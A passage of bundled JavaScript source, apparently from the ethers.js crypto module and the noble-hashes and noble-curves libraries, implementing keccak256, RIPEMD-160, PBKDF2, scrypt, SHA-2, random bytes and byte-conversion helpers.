\"../utils/index.js\";\nlet locked = false;\nconst _keccak256 = function (data) {\n return keccak_256(data);\n};\nlet __keccak256 = _keccak256;\n/**\n * Compute the cryptographic KECCAK256 hash of %%data%%.\n *\n * The %%data%% **must** be a data representation, to compute the\n * hash of UTF-8 data use the [[id]] function.\n *\n * @returns DataHexstring\n * @example:\n * keccak256(\"0x\")\n * //_result:\n *\n * keccak256(\"0x1337\")\n * //_result:\n *\n * keccak256(new Uint8Array([ 0x13, 0x37 ]))\n * //_result:\n *\n * // Strings are assumed to be DataHexString, otherwise it will\n * // throw. To hash UTF-8 data, see the note above.\n * keccak256(\"Hello World\")\n * //_error:\n */\nexport function keccak256(_data) {\n const data = getBytes(_data, \"data\");\n return hexlify(__keccak256(data));\n}\nkeccak256._ = _keccak256;\nkeccak256.lock = function () { locked = true; };\nkeccak256.register = function (func) {\n if (locked) {\n throw new TypeError(\"keccak256 is locked\");\n }\n __keccak256 = func;\n};\nObject.freeze(keccak256);\n//# sourceMappingURL=keccak.js.map","import { SHA2 } from './_sha2.js';\nimport { wrapConstructor } from './utils.js';\n// https://homes.esat.kuleuven.be/~bosselae/ripemd160.html\n// https://homes.esat.kuleuven.be/~bosselae/ripemd160/pdf/AB-9601/AB-9601.pdf\nconst Rho = /* @__PURE__ */ new Uint8Array([7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8]);\nconst Id = /* @__PURE__ */ Uint8Array.from({ length: 16 }, (_, i) => i);\nconst Pi = /* @__PURE__ */ Id.map((i) => (9 * i + 5) % 16);\nlet idxL = [Id];\nlet idxR = [Pi];\nfor (let i = 0; i < 4; i++)\n for (let j of [idxL, idxR])\n j.push(j[i].map((k) => Rho[k]));\nconst shifts = /* @__PURE__ */ [\n [11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8],\n [12, 13, 11, 15, 6, 9, 9, 7, 12, 15, 11, 13, 7, 8, 7, 7],\n [13, 15, 14, 11, 7, 7, 6, 8, 13, 14, 13, 12, 5, 5, 6, 9],\n [14, 11, 12, 14, 8, 6, 5, 5, 15, 12, 15, 14, 9, 9, 8, 6],\n [15, 12, 13, 13, 9, 5, 8, 6, 14, 11, 12, 11, 8, 6, 5, 5],\n].map((i) => new Uint8Array(i));\nconst shiftsL = /* @__PURE__ */ idxL.map((idx, i) => idx.map((j) => shifts[i][j]));\nconst shiftsR = /* @__PURE__ */ idxR.map((idx, i) => idx.map((j) => shifts[i][j]));\nconst Kl = /* @__PURE__ */ new Uint32Array([\n 0x00000000, 0x5a827999, 0x6ed9eba1, 0x8f1bbcdc, 0xa953fd4e,\n]);\nconst Kr = /* @__PURE__ */ new Uint32Array([\n 0x50a28be6, 0x5c4dd124, 0x6d703ef3, 0x7a6d76e9, 0x00000000,\n]);\n// The rotate left (circular left shift) operation for uint32\nconst rotl = (word, shift) => (word << shift) | (word >>> (32 - shift));\n// It's called f() in spec.\nfunction f(group, x, y, z) {\n if (group === 0)\n return x ^ y ^ z;\n else if (group === 1)\n return (x & y) | (~x & z);\n else if (group === 2)\n return (x | ~y) ^ z;\n else if (group === 3)\n return (x & z) | (y & ~z);\n else\n return x ^ (y | ~z);\n}\n// Temporary buffer, not used to store anything between runs\nconst BUF = /* @__PURE__ */ new Uint32Array(16);\nexport class RIPEMD160 extends SHA2 {\n constructor() {\n super(64, 20, 8, true);\n this.h0 = 0x67452301 | 0;\n this.h1 = 0xefcdab89 | 0;\n this.h2 = 0x98badcfe | 0;\n this.h3 = 0x10325476 | 0;\n this.h4 = 0xc3d2e1f0 | 0;\n }\n get() {\n const { h0, h1, h2, h3, h4 } = this;\n return [h0, h1, h2, h3, h4];\n }\n set(h0, h1, h2, h3, h4) {\n this.h0 = h0 | 0;\n this.h1 = h1 | 0;\n this.h2 = h2 | 0;\n this.h3 = h3 | 0;\n this.h4 = h4 | 0;\n }\n process(view, offset) {\n for (let i = 0; i < 16; i++, offset += 4)\n BUF[i] = view.getUint32(offset, true);\n // prettier-ignore\n let al = this.h0 | 0, ar = al, bl = this.h1 | 0, br = bl, cl = this.h2 | 0, cr = cl, dl = this.h3 | 0, dr = dl, el = this.h4 | 0, er = el;\n // Instead of iterating 0 to 80, we split it into 5 groups\n // And use the groups in constants, functions, etc. Much simpler\n for (let group = 0; group < 5; group++) {\n const rGroup = 4 - group;\n const hbl = Kl[group], hbr = Kr[group]; // prettier-ignore\n const rl = idxL[group], rr = idxR[group]; // prettier-ignore\n const sl = shiftsL[group], sr = shiftsR[group]; // prettier-ignore\n for (let i = 0; i < 16; i++) {\n const tl = (rotl(al + f(group, bl, cl, dl) + BUF[rl[i]] + hbl, sl[i]) + el) | 0;\n al = el, el = dl, dl = rotl(cl, 10) | 0, cl = bl, bl = tl; // prettier-ignore\n }\n // 2 loops are 10% faster\n for (let i = 0; i < 16; i++) {\n const tr = (rotl(ar + f(rGroup, br, cr, dr) + BUF[rr[i]] + hbr, sr[i]) + er) | 0;\n ar = er, er = dr, dr = rotl(cr, 10) | 0, cr = br, br = tr; // prettier-ignore\n }\n }\n // Add the compressed chunk to the current hash value\n this.set((this.h1 + cl + dr) | 0, (this.h2 + dl + er) | 0, (this.h3 + el + ar) | 0, (this.h4 + al + br) | 0, (this.h0 + bl + cr) | 0);\n }\n roundClean() {\n BUF.fill(0);\n }\n destroy() {\n this.destroyed = true;\n this.buffer.fill(0);\n this.set(0, 0, 0, 0, 0);\n }\n}\n/**\n * RIPEMD-160 - a hash function from 1990s.\n * @param message - msg that would be hashed\n */\nexport const ripemd160 = /* @__PURE__ */ wrapConstructor(() => new RIPEMD160());\n//# sourceMappingURL=ripemd160.js.map","import { ripemd160 as noble_ripemd160 } from \"@noble/hashes/ripemd160\";\nimport { getBytes, hexlify } from \"../utils/index.js\";\nlet locked = false;\nconst _ripemd160 = function (data) {\n return noble_ripemd160(data);\n};\nlet __ripemd160 = _ripemd160;\n/**\n * Compute the cryptographic RIPEMD-160 hash of %%data%%.\n *\n * @_docloc: api/crypto:Hash Functions\n * @returns DataHexstring\n *\n * @example:\n * ripemd160(\"0x\")\n * //_result:\n *\n * ripemd160(\"0x1337\")\n * //_result:\n *\n * ripemd160(new Uint8Array([ 0x13, 0x37 ]))\n * //_result:\n *\n */\nexport function ripemd160(_data) {\n const data = getBytes(_data, \"data\");\n return hexlify(__ripemd160(data));\n}\nripemd160._ = _ripemd160;\nripemd160.lock = function () { locked = true; };\nripemd160.register = function (func) {\n if (locked) {\n throw new TypeError(\"ripemd160 is locked\");\n }\n __ripemd160 = func;\n};\nObject.freeze(ripemd160);\n//# sourceMappingURL=ripemd160.js.map","/**\n * A **Password-Based Key-Derivation Function** is designed to create\n * a sequence of bytes suitible as a **key** from a human-rememberable\n * password.\n *\n * @_subsection: api/crypto:Passwords [about-pbkdf]\n */\nimport { pbkdf2Sync } from \"./crypto.js\";\nimport { getBytes, hexlify } from \"../utils/index.js\";\nlet locked = false;\nconst _pbkdf2 = function (password, salt, iterations, keylen, algo) {\n return pbkdf2Sync(password, salt, iterations, keylen, algo);\n};\nlet __pbkdf2 = _pbkdf2;\n/**\n * Return the [[link-pbkdf2]] for %%keylen%% bytes for %%password%% using\n * the %%salt%% and using %%iterations%% of %%algo%%.\n *\n * This PBKDF is outdated and should not be used in new projects, but is\n * required to decrypt older files.\n *\n * @example:\n * // The password must be converted to bytes, and it is generally\n * // best practices to ensure the string has been normalized. Many\n * // formats explicitly indicate the normalization form to use.\n * password = \"hello\"\n * passwordBytes = toUtf8Bytes(password, \"NFKC\")\n *\n * salt = id(\"some-salt\")\n *\n * // Compute the PBKDF2\n * pbkdf2(passwordBytes, salt, 1024, 16, \"sha256\")\n * //_result:\n */\nexport function pbkdf2(_password, _salt, iterations, keylen, algo) {\n const password = getBytes(_password, \"password\");\n const salt = getBytes(_salt, \"salt\");\n return hexlify(__pbkdf2(password, salt, iterations, keylen, algo));\n}\npbkdf2._ = _pbkdf2;\npbkdf2.lock = function () { locked = true; };\npbkdf2.register = function (func) {\n if (locked) {\n throw new Error(\"pbkdf2 is locked\");\n }\n __pbkdf2 = func;\n};\nObject.freeze(pbkdf2);\n//# sourceMappingURL=pbkdf2.js.map","/**\n * A **Cryptographically Secure Random Value** is one that has been\n * generated with additional care take to prevent side-channels\n * from allowing others to detect it and prevent others from through\n * coincidence generate the same values.\n *\n * @_subsection: api/crypto:Random Values [about-crypto-random]\n */\nimport { randomBytes as crypto_random } from \"./crypto.js\";\nlet locked = false;\nconst _randomBytes = function (length) {\n return new Uint8Array(crypto_random(length));\n};\nlet __randomBytes = _randomBytes;\n/**\n * Return %%length%% bytes of cryptographically secure random data.\n *\n * @example:\n * randomBytes(8)\n * //_result:\n */\nexport function randomBytes(length) {\n return __randomBytes(length);\n}\nrandomBytes._ = _randomBytes;\nrandomBytes.lock = function () { locked = true; };\nrandomBytes.register = function (func) {\n if (locked) {\n throw new Error(\"randomBytes is locked\");\n }\n __randomBytes = func;\n};\nObject.freeze(randomBytes);\n//# sourceMappingURL=random.js.map","import { number as assertNumber } from './_assert.js';\nimport { sha256 } from './sha256.js';\nimport { pbkdf2 } from './pbkdf2.js';\nimport { asyncLoop, checkOpts, u32 } from './utils.js';\n// RFC 7914 Scrypt KDF\n// Left rotate for uint32\nconst rotl = (a, b) => (a << b) | (a >>> (32 - b));\n// The main Scrypt loop: uses Salsa extensively.\n// Six versions of the function were tried, this is the fastest one.\n// prettier-ignore\nfunction XorAndSalsa(prev, pi, input, ii, out, oi) {\n // Based on https://cr.yp.to/salsa20.html\n // Xor blocks\n let y00 = prev[pi++] ^ input[ii++], y01 = prev[pi++] ^ input[ii++];\n let y02 = prev[pi++] ^ input[ii++], y03 = prev[pi++] ^ input[ii++];\n let y04 = prev[pi++] ^ input[ii++], y05 = prev[pi++] ^ input[ii++];\n let y06 = prev[pi++] ^ input[ii++], y07 = prev[pi++] ^ input[ii++];\n let y08 = prev[pi++] ^ input[ii++], y09 = prev[pi++] ^ input[ii++];\n let y10 = prev[pi++] ^ input[ii++], y11 = prev[pi++] ^ input[ii++];\n let y12 = prev[pi++] ^ input[ii++], y13 = prev[pi++] ^ input[ii++];\n let y14 = prev[pi++] ^ input[ii++], y15 = prev[pi++] ^ input[ii++];\n // Save state to temporary variables (salsa)\n let x00 = y00, x01 = y01, x02 = y02, x03 = y03, x04 = y04, x05 = y05, x06 = y06, x07 = y07, x08 = y08, x09 = y09, x10 = y10, x11 = y11, x12 = y12, x13 = y13, x14 = y14, x15 = y15;\n // Main loop (salsa)\n for (let i = 0; i < 8; i += 2) {\n x04 ^= rotl(x00 + x12 | 0, 7);\n x08 ^= rotl(x04 + x00 | 0, 9);\n x12 ^= rotl(x08 + x04 | 0, 13);\n x00 ^= rotl(x12 + x08 | 0, 18);\n x09 ^= rotl(x05 + x01 | 0, 7);\n x13 ^= rotl(x09 + x05 | 0, 9);\n x01 ^= rotl(x13 + x09 | 0, 13);\n x05 ^= rotl(x01 + x13 | 0, 18);\n x14 ^= rotl(x10 + x06 | 0, 7);\n x02 ^= rotl(x14 + x10 | 0, 9);\n x06 ^= rotl(x02 + x14 | 0, 13);\n x10 ^= rotl(x06 + x02 | 0, 18);\n x03 ^= rotl(x15 + x11 | 0, 7);\n x07 ^= rotl(x03 + x15 | 0, 9);\n x11 ^= rotl(x07 + x03 | 0, 13);\n x15 ^= rotl(x11 + x07 | 0, 18);\n x01 ^= rotl(x00 + x03 | 0, 7);\n x02 ^= rotl(x01 + x00 | 0, 9);\n x03 ^= rotl(x02 + x01 | 0, 13);\n x00 ^= rotl(x03 + x02 | 0, 18);\n x06 ^= rotl(x05 + x04 | 0, 7);\n x07 ^= rotl(x06 + x05 | 0, 9);\n x04 ^= rotl(x07 + x06 | 0, 13);\n x05 ^= rotl(x04 + x07 | 0, 18);\n x11 ^= rotl(x10 + x09 | 0, 7);\n x08 ^= rotl(x11 + x10 | 0, 9);\n x09 ^= rotl(x08 + x11 | 0, 13);\n x10 ^= rotl(x09 + x08 | 0, 18);\n x12 ^= rotl(x15 + x14 | 0, 7);\n x13 ^= rotl(x12 + x15 | 0, 9);\n x14 ^= rotl(x13 + x12 | 0, 13);\n x15 ^= rotl(x14 + x13 | 0, 18);\n }\n // Write output (salsa)\n out[oi++] = (y00 + x00) | 0;\n out[oi++] = (y01 + x01) | 0;\n out[oi++] = (y02 + x02) | 0;\n out[oi++] = (y03 + x03) | 0;\n out[oi++] = (y04 + x04) | 0;\n out[oi++] = (y05 + x05) | 0;\n out[oi++] = (y06 + x06) | 0;\n out[oi++] = (y07 + x07) | 0;\n out[oi++] = (y08 + x08) | 0;\n out[oi++] = (y09 + x09) | 0;\n out[oi++] = (y10 + x10) | 0;\n out[oi++] = (y11 + x11) | 0;\n out[oi++] = (y12 + x12) | 0;\n out[oi++] = (y13 + x13) | 0;\n out[oi++] = (y14 + x14) | 0;\n out[oi++] = (y15 + x15) | 0;\n}\nfunction BlockMix(input, ii, out, oi, r) {\n // The block B is r 128-byte chunks (which is equivalent of 2r 64-byte chunks)\n let head = oi + 0;\n let tail = oi + 16 * r;\n for (let i = 0; i < 16; i++)\n out[tail + i] = input[ii + (2 * r - 1) * 16 + i]; // X ← B[2r−1]\n for (let i = 0; i < r; i++, head += 16, ii += 16) {\n // We write odd & even Yi at same time. Even: 0bXXXXX0 Odd: 0bXXXXX1\n XorAndSalsa(out, tail, input, ii, out, head); // head[i] = Salsa(blockIn[2*i] ^ tail[i-1])\n if (i > 0)\n tail += 16; // First iteration overwrites tmp value in tail\n XorAndSalsa(out, head, input, (ii += 16), out, tail); // tail[i] = Salsa(blockIn[2*i+1] ^ head[i])\n }\n}\n// Common prologue and epilogue for sync/async functions\nfunction scryptInit(password, salt, _opts) {\n // Maxmem - 1GB+1KB by default\n const opts = checkOpts({\n dkLen: 32,\n asyncTick: 10,\n maxmem: 1024 ** 3 + 1024,\n }, _opts);\n const { N, r, p, dkLen, asyncTick, maxmem, onProgress } = opts;\n assertNumber(N);\n assertNumber(r);\n assertNumber(p);\n assertNumber(dkLen);\n assertNumber(asyncTick);\n assertNumber(maxmem);\n if (onProgress !== undefined && typeof onProgress !== 'function')\n throw new Error('progressCb should be function');\n const blockSize = 128 * r;\n const blockSize32 = blockSize / 4;\n if (N <= 1 || (N & (N - 1)) !== 0 || N >= 2 ** (blockSize / 8) || N > 2 ** 32) {\n // NOTE: we limit N to be less than 2**32 because of 32 bit variant of Integrify function\n // There is no JS engines that allows alocate more than 4GB per single Uint8Array for now, but can change in future.\n throw new Error('Scrypt: N must be larger than 1, a power of 2, less than 2^(128 * r / 8) and less than 2^32');\n }\n if (p < 0 || p > ((2 ** 32 - 1) * 32) / blockSize) {\n throw new Error('Scrypt: p must be a positive integer less than or equal to ((2^32 - 1) * 32) / (128 * r)');\n }\n if (dkLen < 0 || dkLen > (2 ** 32 - 1) * 32) {\n throw new Error('Scrypt: dkLen should be positive integer less than or equal to (2^32 - 1) * 32');\n }\n const memUsed = blockSize * (N + p);\n if (memUsed > maxmem) {\n throw new Error(`Scrypt: parameters too large, ${memUsed} (128 * r * (N + p)) > ${maxmem} (maxmem)`);\n }\n // [B0...Bp−1] ← PBKDF2HMAC-SHA256(Passphrase, Salt, 1, blockSize*ParallelizationFactor)\n // Since it has only one iteration there is no reason to use async variant\n const B = pbkdf2(sha256, password, salt, { c: 1, dkLen: blockSize * p });\n const B32 = u32(B);\n // Re-used between parallel iterations. Array(iterations) of B\n const V = u32(new Uint8Array(blockSize * N));\n const tmp = u32(new Uint8Array(blockSize));\n let blockMixCb = () => { };\n if (onProgress) {\n const totalBlockMix = 2 * N * p;\n // Invoke callback if progress changes from 10.01 to 10.02\n // Allows to draw smooth progress bar on up to 8K screen\n const callbackPer = Math.max(Math.floor(totalBlockMix / 10000), 1);\n let blockMixCnt = 0;\n blockMixCb = () => {\n blockMixCnt++;\n if (onProgress && (!(blockMixCnt % callbackPer) || blockMixCnt === totalBlockMix))\n onProgress(blockMixCnt / totalBlockMix);\n };\n }\n return { N, r, p, dkLen, blockSize32, V, B32, B, tmp, blockMixCb, asyncTick };\n}\nfunction scryptOutput(password, dkLen, B, V, tmp) {\n const res = pbkdf2(sha256, password, B, { c: 1, dkLen });\n B.fill(0);\n V.fill(0);\n tmp.fill(0);\n return res;\n}\n/**\n * Scrypt KDF from RFC 7914.\n * @param password - pass\n * @param salt - salt\n * @param opts - parameters\n * - `N` is cpu/mem work factor (power of 2 e.g. 2**18)\n * - `r` is block size (8 is common), fine-tunes sequential memory read size and performance\n * - `p` is parallelization factor (1 is common)\n * - `dkLen` is output key length in bytes e.g. 32.\n * - `asyncTick` - (default: 10) max time in ms for which async function can block execution\n * - `maxmem` - (default: `1024 ** 3 + 1024` aka 1GB+1KB). A limit that the app could use for scrypt\n * - `onProgress` - callback function that would be executed for progress report\n * @returns Derived key\n */\nexport function scrypt(password, salt, opts) {\n const { N, r, p, dkLen, blockSize32, V, B32, B, tmp, blockMixCb } = scryptInit(password, salt, opts);\n for (let pi = 0; pi < p; pi++) {\n const Pi = blockSize32 * pi;\n for (let i = 0; i < blockSize32; i++)\n V[i] = B32[Pi + i]; // V[0] = B[i]\n for (let i = 0, pos = 0; i < N - 1; i++) {\n BlockMix(V, pos, V, (pos += blockSize32), r); // V[i] = BlockMix(V[i-1]);\n blockMixCb();\n }\n BlockMix(V, (N - 1) * blockSize32, B32, Pi, r); // Process last element\n blockMixCb();\n for (let i = 0; i < N; i++) {\n // First u32 of the last 64-byte block (u32 is LE)\n const j = B32[Pi + blockSize32 - 16] % N; // j = Integrify(X) % iterations\n for (let k = 0; k < blockSize32; k++)\n tmp[k] = B32[Pi + k] ^ V[j * blockSize32 + k]; // tmp = B ^ V[j]\n BlockMix(tmp, 0, B32, Pi, r); // B = BlockMix(B ^ V[j])\n blockMixCb();\n }\n }\n return scryptOutput(password, dkLen, B, V, tmp);\n}\n/**\n * Scrypt KDF from RFC 7914.\n */\nexport async function scryptAsync(password, salt, opts) {\n const { N, r, p, dkLen, blockSize32, V, B32, B, tmp, blockMixCb, asyncTick } = scryptInit(password, salt, opts);\n for (let pi = 0; pi < p; pi++) {\n const Pi = blockSize32 * pi;\n for (let i = 0; i < blockSize32; i++)\n V[i] = B32[Pi + i]; // V[0] = B[i]\n let pos = 0;\n await asyncLoop(N - 1, asyncTick, () => {\n BlockMix(V, pos, V, (pos += blockSize32), r); // V[i] = BlockMix(V[i-1]);\n blockMixCb();\n });\n BlockMix(V, (N - 1) * blockSize32, B32, Pi, r); // Process last element\n blockMixCb();\n await asyncLoop(N, asyncTick, () => {\n // First u32 of the last 64-byte block (u32 is LE)\n const j = B32[Pi + blockSize32 - 16] % N; // j = Integrify(X) % iterations\n for (let k = 0; k < blockSize32; k++)\n tmp[k] = B32[Pi + k] ^ V[j * blockSize32 + k]; // tmp = B ^ V[j]\n BlockMix(tmp, 0, B32, Pi, r); // B = BlockMix(B ^ V[j])\n blockMixCb();\n });\n }\n return scryptOutput(password, dkLen, B, V, tmp);\n}\n//# sourceMappingURL=scrypt.js.map","import { scrypt as _nobleSync, scryptAsync as _nobleAsync } from \"@noble/hashes/scrypt\";\nimport { getBytes, hexlify as H } from \"../utils/index.js\";\nlet lockedSync = false, lockedAsync = false;\nconst _scryptAsync = async function (passwd, salt, N, r, p, dkLen, onProgress) {\n return await _nobleAsync(passwd, salt, { N, r, p, dkLen, onProgress });\n};\nconst _scryptSync = function (passwd, salt, N, r, p, dkLen) {\n return _nobleSync(passwd, salt, { N, r, p, dkLen });\n};\nlet __scryptAsync = _scryptAsync;\nlet __scryptSync = _scryptSync;\n/**\n * The [[link-wiki-scrypt]] uses a memory and cpu hard method of\n * derivation to increase the resource cost to brute-force a password\n * for a given key.\n *\n * This means this algorithm is intentionally slow, and can be tuned to\n * become slower. As computation and memory speed improve over time,\n * increasing the difficulty maintains the cost of an attacker.\n *\n * For example, if a target time of 5 seconds is used, a legitimate user\n * which knows their password requires only 5 seconds to unlock their\n * account. A 6 character password has 68 billion possibilities, which\n * would require an attacker to invest over 10,000 years of CPU time. This\n * is of course a crude example (as password generally aren't random),\n * but demonstrates to value of imposing large costs to decryption.\n *\n * For this reason, if building a UI which involved decrypting or\n * encrypting datsa using scrypt, it is recommended to use a\n * [[ProgressCallback]] (as event short periods can seem lik an eternity\n * if the UI freezes). Including the phrase //\"decrypting\"// in the UI\n * can also help, assuring the user their waiting is for a good reason.\n *\n * @_docloc: api/crypto:Passwords\n *\n * @example:\n * // The password must be converted to bytes, and it is generally\n * // best practices to ensure the string has been normalized. Many\n * // formats explicitly indicate the normalization form to use.\n * password = \"hello\"\n * passwordBytes = toUtf8Bytes(password, \"NFKC\")\n *\n * salt = id(\"some-salt\")\n *\n * // Compute the scrypt\n * scrypt(passwordBytes, salt, 1024, 8, 1, 16)\n * //_result:\n */\nexport async function scrypt(_passwd, _salt, N, r, p, dkLen, progress) {\n const passwd = getBytes(_passwd, \"passwd\");\n const salt = getBytes(_salt, \"salt\");\n return H(await __scryptAsync(passwd, salt, N, r, p, dkLen, progress));\n}\nscrypt._ = _scryptAsync;\nscrypt.lock = function () { lockedAsync = true; };\nscrypt.register = function (func) {\n if (lockedAsync) {\n throw new Error(\"scrypt is locked\");\n }\n __scryptAsync = func;\n};\nObject.freeze(scrypt);\n/**\n * Provides a synchronous variant of [[scrypt]].\n *\n * This will completely lock up and freeze the UI in a browser and will\n * prevent any event loop from progressing. For this reason, it is\n * preferred to use the [async variant](scrypt).\n *\n * @_docloc: api/crypto:Passwords\n *\n * @example:\n * // The password must be converted to bytes, and it is generally\n * // best practices to ensure the string has been normalized. Many\n * // formats explicitly indicate the normalization form to use.\n * password = \"hello\"\n * passwordBytes = toUtf8Bytes(password, \"NFKC\")\n *\n * salt = id(\"some-salt\")\n *\n * // Compute the scrypt\n * scryptSync(passwordBytes, salt, 1024, 8, 1, 16)\n * //_result:\n */\nexport function scryptSync(_passwd, _salt, N, r, p, dkLen) {\n const passwd = getBytes(_passwd, \"passwd\");\n const salt = getBytes(_salt, \"salt\");\n return H(__scryptSync(passwd, salt, N, r, p, dkLen));\n}\nscryptSync._ = _scryptSync;\nscryptSync.lock = function () { lockedSync = true; };\nscryptSync.register = function (func) {\n if (lockedSync) {\n throw new Error(\"scryptSync is locked\");\n }\n __scryptSync = func;\n};\nObject.freeze(scryptSync);\n//# sourceMappingURL=scrypt.js.map","import { createHash } from \"./crypto.js\";\nimport { getBytes, hexlify } from \"../utils/index.js\";\nconst _sha256 = function (data) {\n return createHash(\"sha256\").update(data).digest();\n};\nconst _sha512 = function (data) {\n return createHash(\"sha512\").update(data).digest();\n};\nlet __sha256 = _sha256;\nlet __sha512 = _sha512;\nlet locked256 = false, locked512 = false;\n/**\n * Compute the cryptographic SHA2-256 hash of %%data%%.\n *\n * @_docloc: api/crypto:Hash Functions\n * @returns DataHexstring\n *\n * @example:\n * sha256(\"0x\")\n * //_result:\n *\n * sha256(\"0x1337\")\n * //_result:\n *\n * sha256(new Uint8Array([ 0x13, 0x37 ]))\n * //_result:\n *\n */\nexport function sha256(_data) {\n const data = getBytes(_data, \"data\");\n return hexlify(__sha256(data));\n}\nsha256._ = _sha256;\nsha256.lock = function () { locked256 = true; };\nsha256.register = function (func) {\n if (locked256) {\n throw new Error(\"sha256 is locked\");\n }\n __sha256 = func;\n};\nObject.freeze(sha256);\n/**\n * Compute the cryptographic SHA2-512 hash of %%data%%.\n *\n * @_docloc: api/crypto:Hash Functions\n * @returns DataHexstring\n *\n * @example:\n * sha512(\"0x\")\n * //_result:\n *\n * sha512(\"0x1337\")\n * //_result:\n *\n * sha512(new Uint8Array([ 0x13, 0x37 ]))\n * //_result:\n */\nexport function sha512(_data) {\n const data = getBytes(_data, \"data\");\n return hexlify(__sha512(data));\n}\nsha512._ = _sha512;\nsha512.lock = function () { locked512 = true; };\nsha512.register = function (func) {\n if (locked512) {\n throw new Error(\"sha512 is locked\");\n }\n __sha512 = func;\n};\nObject.freeze(sha256);\n//# sourceMappingURL=sha2.js.map","/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */\n// 100 lines of code in the file are duplicated from noble-hashes (utils).\n// This is OK: `abstract` directory does not use noble-hashes.\n// User may opt-in into using different hashing library. This way, noble-hashes\n// won't be included into their bundle.\nconst _0n = BigInt(0);\nconst _1n = BigInt(1);\nconst _2n = BigInt(2);\nconst u8a = (a) => a instanceof Uint8Array;\nconst hexes = /* @__PURE__ */ Array.from({ length: 256 }, (_, i) => i.toString(16).padStart(2, '0'));\n/**\n * @example bytesToHex(Uint8Array.from([0xca, 0xfe, 0x01, 0x23])) // 'cafe0123'\n */\nexport function bytesToHex(bytes) {\n if (!u8a(bytes))\n throw new Error('Uint8Array expected');\n // pre-caching improves the speed 6x\n let hex = '';\n for (let i = 0; i < bytes.length; i++) {\n hex += hexes[bytes[i]];\n }\n return hex;\n}\nexport function numberToHexUnpadded(num) {\n const hex = num.toString(16);\n return hex.length & 1 ? `0${hex}` : hex;\n}\nexport function hexToNumber(hex) {\n if (typeof hex !== 'string')\n throw new Error('hex string expected, got ' + typeof hex);\n // Big Endian\n return BigInt(hex === '' ? '0' : `0x${hex}`);\n}\n/**\n * @example hexToBytes('cafe0123') // Uint8Array.from([0xca, 0xfe, 0x01, 0x23])\n */\nexport function hexToBytes(hex) {\n if (typeof hex !== 'string')\n throw new Error('hex string expected, got ' + typeof hex);\n const len = hex.length;\n if (len % 2)\n throw new Error('padded hex string expected, got unpadded hex of length ' + len);\n const array = new Uint8Array(len / 2);\n for (let i = 0; i < array.length; i++) {\n const j = i * 2;\n const hexByte = hex.slice(j, j + 2);\n const byte = Number.parseInt(hexByte, 16);\n if (Number.isNaN(byte) || byte < 0)\n throw new Error('Invalid byte sequence');\n array[i] = byte;\n }\n return array;\n}\n// BE: Big Endian, LE: Little Endian\nexport function bytesToNumberBE(bytes) {\n return hexToNumber(bytesToHex(bytes));\n}\nexport function bytesToNumberLE(bytes) {\n if (!u8a(bytes))\n throw new Error('Uint8Array expected');\n return hexToNumber(bytesToHex(Uint8Array.from(bytes).reverse()));\n}\nexport function numberToBytesBE(n, len) {\n return hexToBytes(n.toString(16).padStart(len * 2, '0'));\n}\nexport function numberToBytesLE(n, len) {\n return numberToBytesBE(n, len).reverse();\n}\n// Unpadded, rarely used\nexport function numberToVarBytesBE(n) {\n return hexToBytes(numberToHexUnpadded(n));\n}\n/**\n * Takes hex string or Uint8Array, converts to Uint8Array.\n * Validates output length.\n * Will throw error for other types.\n * @param title descriptive title for an error e.g. 'private key'\n * @param hex hex string or Uint8Array\n * @param expectedLength optional, will compare to result array's length\n * @returns\n */\nexport function ensureBytes(title, hex, expectedLength) {\n let res;\n if (typeof hex === 'string') {\n try {\n res = hexToBytes(hex);\n }\n catch (e) {\n throw new Error(`${title} must be valid hex string, got \"${hex}\". Cause: ${e}`);\n }\n }\n else if (u8a(hex)) {\n // Uint8Array.from() instead of hash.slice() because node.js Buffer\n // is instance of Uint8Array, and its slice() creates **mutable** copy\n res = Uint8Array.from(hex);\n }\n else {\n throw new Error(`${title} must be hex string or Uint8Array`);\n }\n const len = res.length;\n if (typeof expectedLength === 'number' && len !== expectedLength)\n throw new Error(`${title} expected ${expectedLength} bytes, got ${len}`);\n return res;\n}\n/**\n * Copies several Uint8Arrays into one.\n */\nexport function concatBytes(...arrays) {\n const r = new Uint8Array(arrays.reduce((sum, a) => sum + a.length, 0));\n let pad = 0; // walk through each item, ensure they have proper type\n arrays.forEach((a) => {\n if (!u8a(a))\n throw new Error('Uint8Array expected');\n r.set(a, pad);\n pad += a.length;\n });\n return r;\n}\nexport function equalBytes(b1, b2) {\n // We don't care about timing attacks here\n if (b1.length !== b2.length)\n return false;\n for (let i = 0; i < b1.length; i++)\n if (b1[i] !== b2[i])\n return false;\n return true;\n}\n/**\n * @example utf8ToBytes('abc') // new Uint8Array([97, 98, 99])\n */\nexport function utf8ToBytes(str) {\n if (typeof str !== 'string')\n throw new Error(`utf8ToBytes expected string, got ${typeof str}`);\n return new Uint8Array(new TextEncoder().encode(str)); // https://bugzil.la/1681809\n}\n// Bit operations\n/**\n * Calculates amount of bits in a bigint.\n * Same as `n.toString(2).length`\n */\nexport function bitLen(n) {\n let len;\n for (len = 0; n > _0n; n >>= _1n, len += 1)\n ;\n return len;\n}\n/**\n * Gets single bit at position.\n * NOTE: first bit position is 0 (same as arrays)\n * Same as `!!+Array.from(n.toString(2)).reverse()[pos]`\n */\nexport function bitGet(n, pos) {\n return (n >> BigInt(pos)) & _1n;\n}\n/**\n * Sets single bit at position.\n */\nexport const bitSet = (n, pos, value) => {\n return n | ((value ? _1n : _0n) << BigInt(pos));\n};\n/**\n * Calculate mask for N bits. Not using ** operator with bigints because of old engines.\n * Same as BigInt(`0b${Array(i).fill('1').join('')}`)\n */\nexport const bitMask = (n) => (_2n << BigInt(n - 1)) - _1n;\n// DRBG\nconst u8n = (data) => new Uint8Array(data); // creates Uint8Array\nconst u8fr = (arr) => Uint8Array.from(arr); // another shortcut\n/**\n * Minimal HMAC-DRBG from NIST 800-90 for RFC6979 sigs.\n * @returns function that will call DRBG until 2nd arg returns something meaningful\n * @example\n * const drbg = createHmacDRBG(32, 32, hmac);\n * drbg(seed, bytesToKey); // bytesToKey must return Key or undefined\n */\nexport function createHmacDrbg(hashLen, qByteLen, hmacFn) {\n if (typeof hashLen !== 'number' || hashLen < 2)\n throw new Error('hashLen must be a number');\n if (typeof qByteLen !== 'number' || qByteLen < 2)\n throw new Error('qByteLen must be a number');\n if (typeof hmacFn !== 'function')\n throw new Error('hmacFn must be a function');\n // Step B, Step C: set hashLen to 8*ceil(hlen/8)\n let v = u8n(hashLen); // Minimal 